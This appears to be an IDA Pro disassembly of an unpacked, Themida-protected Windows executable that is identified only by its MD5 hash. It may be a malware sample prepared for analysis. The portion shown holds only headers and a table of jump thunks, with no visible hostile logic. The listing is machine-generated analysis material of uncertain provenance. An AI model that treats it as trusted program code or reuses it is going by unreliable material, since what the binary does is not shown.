;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	CD571D12EFA32E4527021464DDC4C993

; File Name   :	u:\work\cd571d12efa32e4527021464ddc4c993_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00112000 (1122304.)
; Section size in file		: 00112000 (1122304.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
byte_401000	db 5 dup(0CCh)		; DATA XREF: Themida_:00582DB4o
; ---------------------------------------------------------------------------
		jmp	loc_430920
; ---------------------------------------------------------------------------


loc_40100A:				; DATA XREF: ___:off_43F09Co
		jmp	loc_412D80

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40100F	proc near		; CODE XREF: sub_421BF0+29p
		jmp	sub_422150
sub_40100F	endp

; ---------------------------------------------------------------------------
		jmp	loc_432540
; ---------------------------------------------------------------------------
		jmp	loc_420EA0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40101E	proc near		; CODE XREF: ___:004119B3p
		jmp	sub_4119E0
sub_40101E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401023	proc near		; CODE XREF: ___:0040B29Dp
					; ___:0040B2AAp ...
		jmp	sub_403C50
sub_401023	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401028	proc near		; CODE XREF: sub_41FB90+34p
		jmp	sub_40B0E0
sub_401028	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40102D	proc near		; CODE XREF: sub_404CC0+616p
					; sub_404CC0+6D5p ...
		jmp	sub_40A110
sub_40102D	endp

; ---------------------------------------------------------------------------
		jmp	sub_42B3F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401037	proc near		; CODE XREF: sub_4135E0+3Bp
					; ___:00414C00p
		jmp	sub_4156D0
sub_401037	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40103C	proc near		; CODE XREF: sub_430B30+6Ep
					; sub_430B30+8Ap ...
		jmp	sub_4342D0
sub_40103C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401041	proc near		; CODE XREF: ___:00430212p
					; sub_430B30+3Fp ...
		jmp	sub_434150
sub_401041	endp

; ---------------------------------------------------------------------------
		jmp	loc_423A40

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40104B	proc near
		jmp	sub_40D210
sub_40104B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401050	proc near		; CODE XREF: sub_40B0E0+3Ap
					; sub_40B150+1Ap
		jmp	sub_433C70
sub_401050	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401055	proc near		; CODE XREF: sub_41E760+37Bp
		jmp	sub_421D30
sub_401055	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105A	proc near		; CODE XREF: sub_40C1A0+8p
		jmp	sub_40C360
sub_40105A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105F	proc near		; CODE XREF: sub_432BF0+5Ap
					; sub_434A00+50p
		jmp	sub_432BB0
sub_40105F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401064	proc near		; DATA XREF: ___:off_43F07Co
		jmp	sub_41C710
sub_401064	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401069	proc near		; CODE XREF: ___:00416FAAp
		jmp	sub_41FCD0
sub_401069	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40106E	proc near		; CODE XREF: sub_40C040+32p
		jmp	sub_40C200
sub_40106E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401073	proc near		; CODE XREF: ___:00416FBAp
		jmp	sub_418390
sub_401073	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401078	proc near		; CODE XREF: sub_415920+6Ap
					; sub_416380+32p
		jmp	sub_4162C0
sub_401078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40107D	proc near		; CODE XREF: sub_41E760+161p
					; sub_4224E0+3p
		jmp	sub_421B50
sub_40107D	endp

; ---------------------------------------------------------------------------
		jmp	loc_41ADE0
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40108C	proc near		; CODE XREF: sub_421D30+3p
					; ___:004220FFp ...
		jmp	sub_422270
sub_40108C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401091	proc near		; CODE XREF: sub_40C4E0+43p
		jmp	sub_40CBB0
sub_401091	endp

; ---------------------------------------------------------------------------
		jmp	sub_4292E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40109B	proc near		; CODE XREF: sub_4075C0+Ap
		jmp	sub_407660
sub_40109B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A0	proc near		; CODE XREF: sub_4246D0+23p
					; sub_424870+6p ...
		jmp	sub_4245E0
sub_4010A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A5	proc near		; CODE XREF: sub_431EF0+F5p
					; sub_431EF0+14Fp
		jmp	sub_4340E0
sub_4010A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AA	proc near		; CODE XREF: sub_4344C0+C8p
		jmp	sub_431C80
sub_4010AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AF	proc near		; DATA XREF: ___:0043F174o
		jmp	sub_42B0B0
sub_4010AF	endp

; ---------------------------------------------------------------------------


loc_4010B4:				; DATA XREF: ___:off_43F0A0o
		jmp	loc_41E3C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010B9	proc near		; CODE XREF: sub_418430+D0p
					; sub_418590+2Dp
		jmp	sub_418B20
sub_4010B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010BE	proc near		; CODE XREF: sub_410030+8D9p
					; sub_410030+990p ...
		jmp	sub_411930
sub_4010BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C3	proc near		; CODE XREF: ___:00430626p
					; ___:00430694p ...
		jmp	sub_4321F0
sub_4010C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C8	proc near		; CODE XREF: sub_421E50+9p
					; sub_422340+18p
		jmp	sub_4224C0
sub_4010C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010CD	proc near		; CODE XREF: sub_40AAD0+58p
					; sub_40AAD0+82p ...
		jmp	sub_40ACC0
sub_4010CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D2	proc near		; CODE XREF: sub_422B40+3F1p
					; ___:00423BA6p ...
		jmp	sub_419BE0
sub_4010D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010D7	proc near		; CODE XREF: sub_416110+7p
		jmp	sub_416740
sub_4010D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010DC	proc near		; CODE XREF: sub_415600+5Bp
					; sub_415F70+11p ...
		jmp	sub_4161C0
sub_4010DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E1	proc near		; CODE XREF: sub_42AF20+58p
		jmp	sub_42AD90
sub_4010E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4010E6	proc near		; CODE XREF: sub_421970+1Fp
		jmp	sub_421DB0
sub_4010E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010EB	proc near		; CODE XREF: sub_4220B0+11p
					; ___:004220D7p ...
		jmp	sub_4225D0
sub_4010EB	endp

; ---------------------------------------------------------------------------
		jmp	loc_413E30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010F5	proc near		; CODE XREF: sub_421B30+3p
					; ___:00421E9Fp ...
		jmp	sub_422010
sub_4010F5	endp

; ---------------------------------------------------------------------------
		jmp	loc_4144D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010FF	proc near		; CODE XREF: sub_428210+3p
		jmp	sub_428240
sub_4010FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401104	proc near		; CODE XREF: sub_415B00+11p
					; ___:00415B27p ...
		jmp	sub_416570
sub_401104	endp

; ---------------------------------------------------------------------------
		jmp	loc_434600

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40110E	proc near		; CODE XREF: sub_421C60+5p
					; sub_421D50+6p ...
		jmp	sub_422250
sub_40110E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401113	proc near		; CODE XREF: ___:00416B5Bp
					; ___:0043B25Ej ...
		jmp	sub_417B60
sub_401113	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401118	proc near		; CODE XREF: sub_404CC0+6Ap
					; sub_404CC0+1AFp ...
		jmp	sub_412A40
sub_401118	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40111D	proc near		; DATA XREF: ___:off_43F074o
		jmp	sub_4193C0
sub_40111D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401122	proc near		; CODE XREF: ___:00432D16p
					; ___:00432D23p ...
		jmp	sub_430770
sub_401122	endp

; ---------------------------------------------------------------------------
		jmp	loc_42F6C0
; ---------------------------------------------------------------------------


loc_40112C:				; DATA XREF: ___:off_43F15Co
		jmp	loc_42AD20

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401131	proc near		; CODE XREF: ___:00423D9Dp
		jmp	sub_423860
sub_401131	endp

; ---------------------------------------------------------------------------
		jmp	loc_433240

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40113B	proc near		; CODE XREF: ___:00415178p
		jmp	sub_415A90
sub_40113B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401140	proc near		; CODE XREF: sub_41BA50+F7p
					; sub_41BA50+10Bp ...
		jmp	sub_409F80
sub_401140	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401145	proc near		; CODE XREF: sub_4099F0+Ap
		jmp	sub_409AE0
sub_401145	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114A	proc near		; CODE XREF: sub_4134A0+55p
					; sub_4134A0+94p ...
		jmp	sub_415860
sub_40114A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114F	proc near		; CODE XREF: sub_425100+18Cp
					; ___:00425F7Dp
		jmp	sub_4236F0
sub_40114F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401154	proc near		; CODE XREF: ___:00414C8Ep
		jmp	sub_415600
sub_401154	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401159	proc near		; CODE XREF: sub_4288F0+3p
		jmp	sub_428920
sub_401159	endp

; ---------------------------------------------------------------------------


loc_40115E:				; DATA XREF: ___:off_43F038o
		jmp	loc_4119B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401163	proc near		; CODE XREF: sub_415ED0+11p
					; ___:00415EF7p ...
		jmp	sub_4166F0
sub_401163	endp

; ---------------------------------------------------------------------------
		jmp	loc_41D830

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40116D	proc near		; CODE XREF: sub_418C10+23p
					; sub_418E80+11p
		jmp	sub_418F60
sub_40116D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401172	proc near		; CODE XREF: sub_418B90+3p
					; sub_418F90+54p ...
		jmp	sub_418DE0
sub_401172	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401177	proc near		; CODE XREF: sub_4096E0+6Ap
					; sub_4096E0+103p
		jmp	sub_409980
sub_401177	endp

; ---------------------------------------------------------------------------
		jmp	loc_433B30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401181	proc near		; CODE XREF: ___:00413E4Dp
		jmp	sub_413C40
sub_401181	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401186	proc near		; CODE XREF: ___:0041A2E4p
		jmp	sub_41B0E0
sub_401186	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40118B	proc near		; CODE XREF: sub_4134A0+88p
					; sub_4148A0+BFp ...
		jmp	sub_415A30
sub_40118B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401190	proc near		; CODE XREF: sub_430770+7p
					; sub_4307E0+19p ...
		jmp	sub_434BA0
sub_401190	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401195	proc near
		jmp	sub_40DBF0
sub_401195	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40119A	proc near		; CODE XREF: ___:0043239Ap
		jmp	sub_431D40
sub_40119A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40119F	proc near		; CODE XREF: sub_407230+11p
					; sub_4073C0+1Fp
		jmp	sub_407460
sub_40119F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A4	proc near		; CODE XREF: sub_403720+3B5p
					; sub_403720+3C5p ...
		jmp	sub_403E50
sub_4011A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A9	proc near		; CODE XREF: sub_421D10+3p
		jmp	sub_422290
sub_4011A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011AE	proc near		; CODE XREF: sub_40C330+Ap
		jmp	sub_40C3F0
sub_4011AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011B3	proc near		; CODE XREF: sub_403720+1Dp
					; sub_407080+1Fp ...
		jmp	sub_403CC0
sub_4011B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011B8	proc near		; CODE XREF: ___:00413344p
					; ___:0043AC8Cj ...
		jmp	sub_415490
sub_4011B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011BD	proc near		; CODE XREF: sub_42C640+3p
		jmp	sub_42C670
sub_4011BD	endp

; ---------------------------------------------------------------------------
		jmp	loc_40AFE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011C7	proc near		; CODE XREF: ___:00414C9Dp
		jmp	sub_414D40
sub_4011C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011CC	proc near		; CODE XREF: sub_407660+7p
					; sub_409AE0+7p ...
		jmp	sub_407690
sub_4011CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D1	proc near		; CODE XREF: sub_4135E0+73p
					; ___:00414C3Dp ...
		jmp	sub_4156F0
sub_4011D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D6	proc near		; CODE XREF: sub_41E760+58p
		jmp	sub_420630
sub_4011D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011DB	proc near		; CODE XREF: sub_413E70+84p
		jmp	sub_4138B0
sub_4011DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E0	proc near		; CODE XREF: ___:00433718p
		jmp	sub_431060
sub_4011E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E5	proc near		; CODE XREF: sub_407510+8p
		jmp	sub_4075F0
sub_4011E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011EA	proc near		; CODE XREF: sub_404CC0+9Fp
					; sub_404CC0+230p ...
		jmp	sub_40A510
sub_4011EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4011EF	proc near		; CODE XREF: sub_40A870+21p
					; sub_40AAD0+A5p
		jmp	sub_40AAB0
sub_4011EF	endp

; ---------------------------------------------------------------------------
		jmp	loc_40B050

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011F9	proc near		; CODE XREF: sub_40A510+129p
					; sub_40A8F0+4p ...
		jmp	sub_40A8C0
sub_4011F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011FE	proc near		; DATA XREF: ___:off_43F0DCo
		jmp	sub_427940
sub_4011FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401203	proc near		; CODE XREF: ___:004335ADp
		jmp	sub_430D60
sub_401203	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401208	proc near		; CODE XREF: sub_407340+3p
					; ___:0040740Fp ...
		jmp	sub_4074D0
sub_401208	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40120D	proc near		; CODE XREF: sub_41D930+346p
					; sub_41D930+410p ...
		jmp	sub_421970
sub_40120D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401212	proc near		; CODE XREF: sub_421BB0+11p
					; sub_4220B0+1Fp
		jmp	sub_4221E0
sub_401212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401217	proc near		; CODE XREF: sub_42C7E0+3p
		jmp	sub_42C810
sub_401217	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40121C	proc near
		jmp	sub_4077E0
sub_40121C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401221	proc near		; CODE XREF: sub_40C200+5Fp
		jmp	sub_40C3D0
sub_401221	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401226	proc near		; CODE XREF: sub_403530+F6p
					; sub_403530+12Ep ...
		jmp	sub_409D10
sub_401226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40122B	proc near		; CODE XREF: sub_41E760+113p
					; sub_41E760+124p
		jmp	sub_421B30
sub_40122B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401230	proc near		; DATA XREF: ___:0043F060o
		jmp	sub_41F960
sub_401230	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401235	proc near		; CODE XREF: ___:00416BFBp
					; ___:0043B1D2j ...
		jmp	sub_4177B0
sub_401235	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40123A	proc near		; CODE XREF: sub_40AFA0+Fp
		jmp	sub_431240
sub_40123A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40123F	proc near		; CODE XREF: sub_418C10+32p
		jmp	sub_418E80
sub_40123F	endp

; ---------------------------------------------------------------------------
		jmp	loc_434860

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401249	proc near		; CODE XREF: sub_415500+5p
					; sub_415710+6p ...
		jmp	sub_416130
sub_401249	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40124E	proc near		; CODE XREF: sub_40BD90+29p
					; sub_40BEB0+29p
		jmp	sub_40C040
sub_40124E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401253	proc near		; CODE XREF: sub_41E760+3E9p
					; ___:0043C4ABj
		jmp	sub_421BF0
sub_401253	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401258	proc near		; CODE XREF: sub_4145A0+BFp
		jmp	sub_4152E0
sub_401258	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40125D	proc near		; CODE XREF: sub_4165E0+Ap
		jmp	sub_416920
sub_40125D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401262	proc near		; CODE XREF: ___:00416C67p
					; ___:0043B173j ...
		jmp	sub_4170B0
sub_401262	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401267	proc near
		jmp	sub_418430
sub_401267	endp

; ---------------------------------------------------------------------------
		jmp	sub_416D30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401271	proc near		; CODE XREF: ___:00416F1Fp
		jmp	sub_4180D0
sub_401271	endp

; ---------------------------------------------------------------------------
		jmp	loc_414760
; ---------------------------------------------------------------------------
		jmp	loc_430320

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401280	proc near		; CODE XREF: sub_410030+387p
					; sub_41F030+21Dp ...
		jmp	sub_41B7E0
sub_401280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401285	proc near		; CODE XREF: ___:00416F5Ap
		jmp	sub_418280
sub_401285	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40128A	proc near		; CODE XREF: sub_409570+8p
		jmp	sub_4095C0
sub_40128A	endp

; ---------------------------------------------------------------------------
		jmp	loc_42AD20

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401294	proc near		; CODE XREF: sub_4096E0+A5p
					; sub_412C90+21p
		jmp	sub_4098F0
sub_401294	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401299	proc near		; CODE XREF: sub_404CC0+382p
					; sub_41D930+5AAp
		jmp	sub_41C130
sub_401299	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40129E	proc near		; CODE XREF: ___:00416E6Fp
		jmp	sub_403720
sub_40129E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A3	proc near		; CODE XREF: sub_418CC0+23p
					; sub_418F90+11p
		jmp	sub_4190E0
sub_4012A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012A8	proc near		; CODE XREF: sub_424920+Cp
					; sub_424920+3Ep ...
		jmp	sub_424410
sub_4012A8	endp

; ---------------------------------------------------------------------------
		jmp	loc_430960

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B2	proc near		; CODE XREF: sub_404CC0+85Ap
					; sub_404CC0+AD6p ...
		jmp	sub_40A370
sub_4012B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B7	proc near		; CODE XREF: ___:0042FE06p
					; ___:0042FE56p ...
		jmp	sub_432780
sub_4012B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012BC	proc near		; CODE XREF: sub_41E760+367p
					; sub_41E760+3D4p ...
		jmp	sub_421D80
sub_4012BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C1	proc near		; DATA XREF: sub_427D50+107o
		jmp	sub_427FD0
sub_4012C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C6	proc near		; CODE XREF: sub_424800+18p
					; sub_424840+Ap ...
		jmp	sub_4247B0
sub_4012C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012CB	proc near		; CODE XREF: sub_416220+9p
					; sub_4162C0+18p
		jmp	sub_4168D0
sub_4012CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012D0	proc near		; DATA XREF: sub_432570+32o
		jmp	sub_432D70
sub_4012D0	endp

; ---------------------------------------------------------------------------
		jmp	loc_42FE50
; ---------------------------------------------------------------------------
		jmp	loc_419CB0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012DF	proc near		; CODE XREF: sub_42AD90+67p
		jmp	sub_41FFF0
sub_4012DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_4012E4	proc near		; CODE XREF: ___:004301E8p
					; sub_4303A0+2p ...
		jmp	sub_431560
sub_4012E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012E9	proc near		; CODE XREF: sub_413740+3Fp
					; sub_4145A0+40p ...
		jmp	sub_415230
sub_4012E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012EE	proc near		; CODE XREF: sub_404690+19Fp
					; sub_404690+212p ...
		jmp	sub_409FD0
sub_4012EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F3	proc near		; CODE XREF: sub_424F70+B5p
					; sub_424F70+F1p
		jmp	sub_424F00
sub_4012F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F8	proc near		; CODE XREF: sub_425100+130p
		jmp	sub_424F70
sub_4012F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012FD	proc near		; CODE XREF: ___:00416F3Ap
		jmp	sub_418180
sub_4012FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401302	proc near		; CODE XREF: ___:00416F0Fp
		jmp	sub_418010
sub_401302	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401307	proc near		; CODE XREF: sub_4316C0+1p
		jmp	sub_431750
sub_401307	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40130C	proc near		; CODE XREF: ___:00427201p
		jmp	sub_427740
sub_40130C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401311	proc near		; CODE XREF: sub_418430+71p
					; sub_418430+BBp ...
		jmp	sub_418AF0
sub_401311	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401316	proc near		; CODE XREF: sub_40A180+7p
		jmp	sub_40A1A0
sub_401316	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40131B	proc near		; CODE XREF: ___:004329C8p
					; sub_432A20+2Bp
		jmp	sub_432BF0
sub_40131B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401320	proc near		; CODE XREF: sub_432570+1p
		jmp	sub_4327B0
sub_401320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_401325	proc near		; CODE XREF: sub_4208E0+37Bp
		jmp	sub_421CD0
sub_401325	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40132A	proc near		; CODE XREF: sub_414430+5Bp
		jmp	sub_415100
sub_40132A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40132F	proc near		; CODE XREF: sub_415490+29p
					; sub_4155B0+29p
		jmp	sub_416030
sub_40132F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401334	proc near		; CODE XREF: ___:00437232p
					; ___:00437242p ...
		jmp	sub_4370F0
sub_401334	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401339	proc near		; CODE XREF: sub_4134A0+5Fp
					; sub_4134A0+9Ep ...
		jmp	sub_415A60
sub_401339	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40133E	proc near		; CODE XREF: sub_40B600+62p
					; ___:0040BAC8p ...
		jmp	sub_40BF40
sub_40133E	endp

; ---------------------------------------------------------------------------
		jmp	loc_4313B0
; ---------------------------------------------------------------------------
		jmp	loc_42FF30
; ---------------------------------------------------------------------------


loc_40134D:				; DATA XREF: ___:0043F1A8o
		jmp	loc_42C690
; ---------------------------------------------------------------------------
		jmp	loc_42C5D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401357	proc near		; CODE XREF: sub_416190+8p
		jmp	sub_4167B0
sub_401357	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40135C	proc near		; CODE XREF: sub_4134A0+71p
					; sub_4134A0:loc_41356Cp ...
		jmp	sub_415A10
sub_40135C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401361	proc near		; CODE XREF: sub_418430+AFp
					; sub_4190E0+3p
		jmp	sub_418BB0
sub_401361	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401366	proc near		; DATA XREF: ___:0043F104o
		jmp	sub_427D50
sub_401366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40136B	proc near		; CODE XREF: sub_40B600+39p
					; sub_40B600+78p ...
		jmp	sub_40BF70
sub_40136B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401370	proc near		; CODE XREF: sub_426A90+29p
					; sub_426A90+38p
		jmp	sub_4269A0
sub_401370	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401375	proc near		; CODE XREF: sub_41A600+1Cp
		jmp	sub_41A640
sub_401375	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40137A	proc near		; DATA XREF: ___:0043F164o
		jmp	sub_42AF20
sub_40137A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_40137F	proc near		; CODE XREF: ___:00408C9Ep
					; ___:00414551p
		jmp	sub_414300
